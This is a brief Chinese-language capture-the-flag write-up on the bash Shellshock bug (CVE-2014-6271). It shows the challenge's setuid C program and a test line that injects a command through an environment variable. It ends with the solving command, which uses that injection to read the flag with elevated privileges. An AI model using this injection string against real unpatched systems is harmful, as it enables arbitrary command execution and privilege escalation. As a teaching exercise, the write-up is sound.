考察bash shellshock 漏洞 CVE-2014-6271
shellshock.c
#include <stdio.h>
int main(){
printf("%d\n",getegid());
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
//system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
这个漏洞大概的意思是
$ env a='() { :;}; echo vulnerable' bash -c 'echo 1'
在 echo vulnerable这里可以执行任意命令
利用这个漏洞,根据题目给的源代码,在执行shellshock时,权限由shellshock_pwn被设置为shellshock,于是有权限可以执行cat flag查看flag
$ env a='() { :;}; bash -c "cat flag"' ./shellshock